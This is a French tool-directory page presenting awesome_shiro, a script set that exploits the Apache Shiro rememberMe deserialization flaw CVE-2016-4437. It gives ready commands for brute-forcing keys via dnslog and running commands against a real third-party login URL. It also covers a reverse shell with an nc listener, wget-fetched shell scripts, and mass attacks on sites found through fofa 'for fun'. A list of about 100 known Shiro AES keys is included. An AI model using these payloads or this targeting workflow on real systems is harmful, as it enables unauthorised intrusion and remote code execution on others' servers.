Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Awesome_shiro — CVE-2016-4437-Shiro module de brute force de désérialisation et key, exécution de commandes, script de reverse shell | Kitploit
Outils/GitHubGitHub/bkfish/awesome_shiro
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et Contrôle
GitHubbkfish/awesome_shiro

Awesome_shiro

CVE-2016-4437-Shiro module de brute force de désérialisation et key, exécution de commandes, script de reverse shell

Voir le dépôt
5516il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Awesome-shiro

CVE-2016-4437 Shiro<=1.2.4 Désérialisation, module de bruteforce des clés, exécution de code, reverse shell


Cause de la vulnérabilité

Parce que Shiro désérialise le champ rememberMe du cookie, si l'on connaît la méthode d'encodage de Shiro, on peut encoder une commande malveillante avec cette méthode et la placer dans le cookie de l'en-tête HTTP. Lorsque Shiro désérialise le champ rememberMe du cookie soumis, la commande insérée est exécutée, entraînant ainsi une exécution de commande.

Shiro utilise par défaut CookieRememberMeManager, dont le flux de traitement du cookie est le suivant : Récupérer la valeur du cookie rememberMe --> Décodage Base64 --> Déchiffrement AES --> Désérialisation

Environnement

Linux/Windows 10 fonctionnent tous deux.
Python2/Python3 fonctionnent tous deux.
En raison de la présence de ysoserial.jar sous le module, le projet est un peu volumineux, merci de votre compréhension.

Construction locale d'un environnement de test

root@kitploit:~
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

Utilisation du script

1. Module de bruteforce shiro_crack.py

Nécessite l'utilisation conjointe de http://dnslog.cn/

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn

Après réussite, consulter les enregistrements – le format de l'enregistrement est {{key}}.{{module}}.dnslogurl

root@kitploit:~
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn

La clé réussie est donc U3ByaW5nQmxhZGUAAAAAAA==, le module est CommonsBeanutils1. Comme la clé peut contenir des caractères comme == ou /+, ce projet effectue une légère échappement. Il faut comparer avec la clé de l'annexe 1. Trouver un site sur fofa pour s'amuser. 1.png 2.png

Principe de shiro_crack.py

En réalité, de nombreux outils en ligne permettent de bruteforcer les modules et les clés, mais après une réussite, on ne sait généralement pas quel module ni quelle clé ont été utilisés, car pour une exécution de commande sans retour, le code de réponse est toujours 200, que cela fonctionne ou non. Ce projet utilise le bruteforce des modules et des clés combiné avec dnslog pour obtenir indirectement la clé et le module réussis. Le principe est celui du DNSlog : le DNS laisse des logs lors de la résolution ; en lisant les logs de résolution des noms de domaine à plusieurs niveaux, on obtient les informations de la requête.

2. Utilisation de shiro_rce.py pour l'exécution de commandes

Peut être combiné avec http://dnslog.cn/

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"

Dans dnslog, on voit ping rcetest.x9zm4v.dnslog.cn. Pour distinguer, il est conseillé d'utiliser un nom de domaine d'un niveau inférieur.

Configuration de shiro_rce

  1. Configuration du module Modifier à la ligne 13 :
root@kitploit:~
popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)

Remplacer CommonsBeanutils1 par le module trouvé lors du bruteforce.

  1. Configuration de la clé Modifier à la ligne 16 :
root@kitploit:~
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

Remplacer par la clé trouvée lors du bruteforce.

Trouver un site sur fofa pour s'amuser. 3.png 4.png

3. Reverse shell avec shiro_getshell

root@kitploit:~
nc -lvnp 7777
python3 shiro_exp.py -u {{cible attaquée}} -lh {{IP pour le reverse shell}} -lp {{port pour le reverse shell}}

Par sécurité, tester en local. Le principe est d'emballer JRMPListener et le payload ensemble ; en théorie, on peut se passer de JRMPListener.

Test de shiro_getshell :

6.png 5.png


Une petite idée : Puisque l'on peut sortir du réseau, pourquoi ne pas utiliser directement shiro_rec avec un bash reverse shell ? J'ai essayé plusieurs fois sans succès, je pense que Shiro a un filtre, mais j'ai découvert que l'on peut d'abord télécharger un script sh avec wget, puis exécuter le script. Référence : Petite étude sur le reverse shell sans JRMPListener


4. fuzz-shiro

Effectue un test simple basé sur les en-têtes de requête et de réponse – place les sites avec Shiro dans shiro.txt.

5. shiro_piliang_crack.py

Il est recommandé d'utiliser d'abord fuzz-shiro pour obtenir la liste shiro.txt des sites avec Shiro, puis de les attaquer en masse. L'enregistrement dnsLog est au format :

{{key}}.{{module}}.{{url}}.dnsurl

Testé personnellement, cela fonctionne bien.

Problèmes fréquents

1. Sous Windows 10, erreur No module named 'Crypto'

Exécuter les commandes suivantes :

root@kitploit:~
pip uninstall crypto pycryptodome
pip install pycryptodome

Dans le répertoire d'installation de Python, \Lib\site-packages, renommer le dossier crypto en Crypto.

Annexe 1 – Clés Shiro couramment utilisées

root@kitploit:~
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
Télécharger l’outil